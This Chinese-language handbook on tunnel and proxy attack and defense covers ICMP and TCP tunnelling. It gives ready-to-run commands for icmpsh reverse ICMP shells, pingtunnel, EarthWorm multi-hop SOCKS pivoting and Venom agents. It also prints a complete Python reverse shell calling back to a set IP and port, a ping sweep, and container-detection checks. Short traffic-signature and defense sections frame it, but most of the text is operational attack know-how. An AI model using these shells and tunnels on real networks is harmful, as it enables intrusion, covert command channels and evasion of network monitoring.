隧道代理攻防技术手册
字数 1683 2025-09-01 11:26:17

隧道代理攻防技术手册

一、ICMP隧道技术

1. ICMP协议基础

ICMP(Internet Control Message Protocol)是Internet协议族中的网络层协议,用于在IP网络中传递控制消息和错误报告。

2. ICMP隧道流量特征

  • 正常ICMP流量

    • 单位时间内数据包发送数量为一组
    • Windows下Data字段长度32字节,Linux下48字节
    • 请求包和响应包长度相同
    • Windows Data内容:abcdefghijklmnopqrstuvwabcdefghi
    • Linux Data内容:!"01234567
    • Type字段类型为0(应答)或8(请求)
  • 异常ICMP隧道流量

    • 请求包和响应包长度明显不同
    • Data字段包含明文敏感信息
    • 单位时间内数据包数量过大
    • Data字段长度非默认值
    • 包含会话key和访问信息

3. 常用ICMP隧道工具

3.1 icmpsh

一个简单的反向ICMP shell工具,不需要管理员权限即可运行。

使用步骤

  1. 服务端设置(Kali):
sysctl -w net.ipv4.icmp_echo_ignore_all=1
git clone https://github.com/inquisb/icmpsh.git
python2 icmpsh_m.py <服务端IP> <目标机IP>
  1. 客户端运行(Windows):
icmpsh.exe -t <服务端IP> -d 500 -b 30 -s 128

参数说明

  • -t:主机IP地址(必需)
  • -r:发送测试请求后退出
  • -d:请求间延迟(毫秒)
  • -o:响应超时(毫秒)
  • -b:空白数量限制
  • -s:最大数据缓冲区大小(字节)

3.2 pingtunnel

通过ICMP发送TCP/UDP流量的工具,需要管理员权限。

使用步骤

  1. 服务端:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1
  1. 客户端(设置SOCKS5):
pingtunnel.exe -type client -l :4455 -s <服务端IP> -sock5 1 -noprint 1 -nolog 1

二、TCP隧道技术

1. TCP隧道流量特征

1.1 EarthWorm(EW)特征

  • 建立连接时数据包特征:xx xx 00 00 00 00
  • 客户端发送:01 01 00 00 00 00
  • 服务端应答:01 02 00 00 00 00

1.2 Venom特征

  • 未加密时:

    • 建立连接时发送:00 00 00 00 00 00
    • 携带ABCDEFGH判断协议
    • 使用VCMD作为数据分割
    • 命令执行过程为明文
  • 加密时:

    • 数据全置零
    • 不使用端口复用时才有特征

1.3 Stowaway特征

  • 建立连接时发送:00 00 00 00 00 00
  • 包含明文信息:
    • IAMADMINXD
    • IAMNEWHERE
    • THEREISNOROUTE
  • 大量重复ACK确认请求(心跳保持)

1.4 Frp特征

  • 未加密时:

    • 携带版本架构信息
    • 传递会话ID和会话key
    • 创建SOCKS5信息
  • TLS加密后:

    • 建立连接时携带0x17
    • 固定243字节TLS-hello报文
    • 服务端应答90字节TLS-hello报文

2. 常用TCP隧道工具

2.1 EarthWorm(EW)

下载地址:https://github.com/idlefire/ew

命令格式

  • ssocksd:正向代理
  • rcsocks:流量转发
  • rssocks:SOCKS5反弹
  • lcx_slave:端口绑定
  • lcx_listen:流量转发
  • lcx_tran:端口转发

使用场景

  1. 公网出网
./ew -s ssocksd -l 8888
  1. 内网出网(反向代理)
  • 服务端:
./ew -s rcsocks -l 1080 -e 8888
  • 客户端:
./ew -s rssocks -d <服务端IP> -e 8888
  1. 二重网络环境
  • 正向代理:
ew_for_Win.exe -s ssocksd -l 8888
  • 反向代理:
# 跳板机
ew_for_Win.exe -s rcsocks -l 7766 -e 6677
# 内网机器
ew_for_Win.exe -s rssocks -d 10.10.10.20 -e 6677
  1. 三级网络代理
  • VPS:
ew -s rcsocks -l 1080 -e 8888
  • 主机A:
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
  • 主机B:
ew -s lcx_listen -l 9999 -e 7777
  • 主机C:
ew -s rssocks -d 2.2.2.3 -e 7777

2.2 Venom

下载地址:https://github.com/Dliv3/Venom/

使用步骤

  1. 服务端:
admin_linux_x64 -lport 7000 -passwd qaxNB666
  1. 客户端:
agent.exe -rhost <服务端IP> -rport 7000 -passwd qaxNB666
  1. 开启SOCKS:
show
goto 1
socks 1088

三、实战技巧

1. 反弹Shell示例

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.200.160",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

2. 判断Docker容器

  1. 检查.dockerenv文件:
ls /.dockerenv
  1. 检查/proc/1/cgroup
cat /proc/1/cgroup

3. 内网主机发现

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

四、防御建议

1. ICMP隧道防御

  • 监控单位时间内ICMP数据包数量
  • 检查Data字段长度和内容
  • 限制ICMP协议的使用

2. TCP隧道防御

  • 监控异常端口连接
  • 检查协议特征(如EW的xx xx 00 00 00 00)
  • 实施严格的网络访问控制
  • 启用TLS加密通信

3. 通用防御措施

  • 定期审计网络流量
  • 限制不必要的出站连接
  • 实施严格的权限控制
  • 监控异常进程和网络连接
隧道代理攻防技术手册 一、ICMP隧道技术 1. ICMP协议基础 ICMP(Internet Control Message Protocol)是Internet协议族中的网络层协议,用于在IP网络中传递控制消息和错误报告。 2. ICMP隧道流量特征 正常ICMP流量 : 单位时间内数据包发送数量为一组 Windows下Data字段长度32字节,Linux下48字节 请求包和响应包长度相同 Windows Data内容: abcdefghijklmnopqrstuvwabcdefghi Linux Data内容: !"01234567 Type字段类型为0(应答)或8(请求) 异常ICMP隧道流量 : 请求包和响应包长度明显不同 Data字段包含明文敏感信息 单位时间内数据包数量过大 Data字段长度非默认值 包含会话key和访问信息 3. 常用ICMP隧道工具 3.1 icmpsh 一个简单的反向ICMP shell工具,不需要管理员权限即可运行。 使用步骤 : 服务端设置(Kali): 客户端运行(Windows): 参数说明 : -t :主机IP地址(必需) -r :发送测试请求后退出 -d :请求间延迟(毫秒) -o :响应超时(毫秒) -b :空白数量限制 -s :最大数据缓冲区大小(字节) 3.2 pingtunnel 通过ICMP发送TCP/UDP流量的工具,需要管理员权限。 使用步骤 : 服务端: 客户端(设置SOCKS5): 二、TCP隧道技术 1. TCP隧道流量特征 1.1 EarthWorm(EW)特征 建立连接时数据包特征: xx xx 00 00 00 00 客户端发送: 01 01 00 00 00 00 服务端应答: 01 02 00 00 00 00 1.2 Venom特征 未加密时: 建立连接时发送: 00 00 00 00 00 00 携带 ABCDEFGH 判断协议 使用 VCMD 作为数据分割 命令执行过程为明文 加密时: 数据全置零 不使用端口复用时才有特征 1.3 Stowaway特征 建立连接时发送: 00 00 00 00 00 00 包含明文信息: IAMADMINXD IAMNEWHERE THEREISNOROUTE 大量重复ACK确认请求(心跳保持) 1.4 Frp特征 未加密时: 携带版本架构信息 传递会话ID和会话key 创建SOCKS5信息 TLS加密后: 建立连接时携带 0x17 固定243字节TLS-hello报文 服务端应答90字节TLS-hello报文 2. 常用TCP隧道工具 2.1 EarthWorm(EW) 下载地址 :https://github.com/idlefire/ew 命令格式 : ssocksd :正向代理 rcsocks :流量转发 rssocks :SOCKS5反弹 lcx_slave :端口绑定 lcx_listen :流量转发 lcx_tran :端口转发 使用场景 : 公网出网 : 内网出网(反向代理) : 服务端: 客户端: 二重网络环境 : 正向代理: 反向代理: 三级网络代理 : VPS: 主机A: 主机B: 主机C: 2.2 Venom 下载地址 :https://github.com/Dliv3/Venom/ 使用步骤 : 服务端: 客户端: 开启SOCKS: 三、实战技巧 1. 反弹Shell示例 2. 判断Docker容器 检查 .dockerenv 文件: 检查 /proc/1/cgroup : 3. 内网主机发现 四、防御建议 1. ICMP隧道防御 监控单位时间内ICMP数据包数量 检查Data字段长度和内容 限制ICMP协议的使用 2. TCP隧道防御 监控异常端口连接 检查协议特征(如EW的 xx xx 00 00 00 00 ) 实施严格的网络访问控制 启用TLS加密通信 3. 通用防御措施 定期审计网络流量 限制不必要的出站连接 实施严格的权限控制 监控异常进程和网络连接